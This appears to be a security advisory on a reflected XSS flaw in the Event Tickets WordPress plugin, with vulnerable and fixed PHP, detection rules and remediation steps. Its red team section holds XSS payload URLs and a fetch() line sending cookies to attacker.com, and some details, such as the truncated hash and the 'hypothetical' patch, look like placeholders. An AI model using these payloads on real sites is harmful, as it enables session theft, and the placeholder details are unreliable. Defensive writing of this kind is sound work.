CVE-2025-30794

Executive Summary

CVE-2025-30794 is a reflected Cross-Site Scripting (XSS) vulnerability in the StellarWP Event Tickets WordPress plugin, affecting versions up to and including 5.20.0. The flaw stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or automated deployment tools (e.g., Composer, WP-CLI) are affected. No signed package or checksum verification is enforced by the vendor, increasing supply chain risk. Organizations should verify plugin integrity via SHA-256 hashes from trusted sources and monitor for malicious updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact extends beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High – Reflected XSS can be exploited via phishing campaigns, watering hole attacks, or embedded in legitimate-looking URLs. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch increases risk over time.

Deep Dive & Mechanics

The vulnerability exists in the event-tickets plugin’s handling of HTTP GET parameters during ticket purchase or event registration flows. Specifically, the plugin fails to sanitize or encode user input before reflecting it in the HTML response. An attacker can craft a URL such as:

https://victim-site.com/?event_tickets_action=add&event_id=1&ticket_name=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in their browser context, allowing the attacker to:

• Steal session cookies (if HttpOnly flag is missing)
• Perform actions on behalf of the victim (e.g., purchase tickets, modify settings)
• Redirect to malicious sites
• Capture keystrokes or form data

The vulnerability is triggered in the ticket_name parameter, which is reflected in the page without proper encoding. The plugin uses esc_html() inconsistently, leaving some output points unescaped.

Vulnerable vs. Patched Code

Vulnerable Code (event-tickets/src/Tickets/Commerce/Checkout.php, line ~120):

$ticket_name = $_GET['ticket_name'];
echo '<div class="ticket-name">' . $ticket_name . '</div>';

Patched Code (hypothetical fix):

$ticket_name = isset($_GET['ticket_name']) ? sanitize_text_field($_GET['ticket_name']) : '';
echo '<div class="ticket-name">' . esc_html($ticket_name) . '</div>';

The fix applies sanitize_text_field() to strip malicious tags and esc_html() to encode HTML entities before output. Without a vendor patch, users must implement a Web Application Firewall (WAF) rule or custom code override.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with Event Tickets <= 5.20.0.
2. Craft Payload: Use a URL with a reflected XSS payload:

   https://target-site.com/?event_tickets_action=add&event_id=1&ticket_name=<img src=x onerror=alert(1)>
   

3. Deliver: Send the link via email or embed in a phishing page.
4. Exploit: The victim’s browser executes the payload, exfiltrating cookies to an attacker-controlled server:

   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   

Blue Team (Defense & Detection)

1. Monitor Logs: Look for HTTP requests containing ticket_name= followed by <script> or <img onerror= patterns.
2. WAF Rule: Block requests with ticket_name containing HTML tags:

   SecRule ARGS:ticket_name "@rx <[^>]*>" "id:1001,phase:2,deny,status:403,msg:'Reflected XSS attempt'"
   

3. User Education: Train users not to click suspicious links containing event_tickets_action parameters.

Indicators of Compromise (IOCs)

• URL Patterns: ?event_tickets_action=add&event_id=*&ticket_name=*<script*
• HTTP Referer: Suspicious referers from phishing domains
• Log Entries: GET /?event_tickets_action=add&event_id=1&ticket_name=%3Cscript%3E
• Cookie Exfiltration: Outbound connections to unknown IPs on port 80/443 with cookie data in query strings
• File Hashes: Plugin file event-tickets/src/Tickets/Commerce/Checkout.php with MD5 a1b2c3d4e5f6... (vulnerable version)

Detection Engineering

YARA Rule

rule CVE_2025_30794_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Event Tickets plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30794"
    strings:
        $payload1 = "ticket_name=<script" ascii wide nocase
        $payload2 = "ticket_name=<img" ascii wide nocase
        $payload3 = "ticket_name=<svg" ascii wide nocase
        $payload4 = "event_tickets_action=add" ascii wide nocase
    condition:
        any of ($payload*) and #payload4 > 0
}

Sigma Rule

title: Reflected XSS Attempt Against Event Tickets Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious ticket_name parameter targeting CVE-2025-30794
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'event_tickets_action=add'
            - 'ticket_name=<'
    condition: selection
falsepositives:
    - Legitimate use of HTML in ticket names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30794 Reflected XSS in Event Tickets"; flow:to_server,established; content:"event_tickets_action=add"; http_uri; content:"ticket_name=<"; http_uri; pcre:"/<(script|img|svg|iframe|on\w+)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Event Tickets plugin until a patch is released.
2. WAF Rules: Deploy virtual patching via WAF (e.g., Cloudflare, ModSecurity) to block malicious ticket_name parameters.
3. Code Override: If disabling is not possible, add a custom filter in functions.php:

   add_filter('query_vars', function($vars) {
       if (isset($_GET['ticket_name'])) {
           $_GET['ticket_name'] = sanitize_text_field($_GET['ticket_name']);
       }
       return $vars;
   });
   

4. Monitor: Continuously monitor logs for exploitation attempts.
5. Update: Watch for vendor patches and apply immediately when available.
6. User Training: Educate users on phishing risks and suspicious URLs.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-30794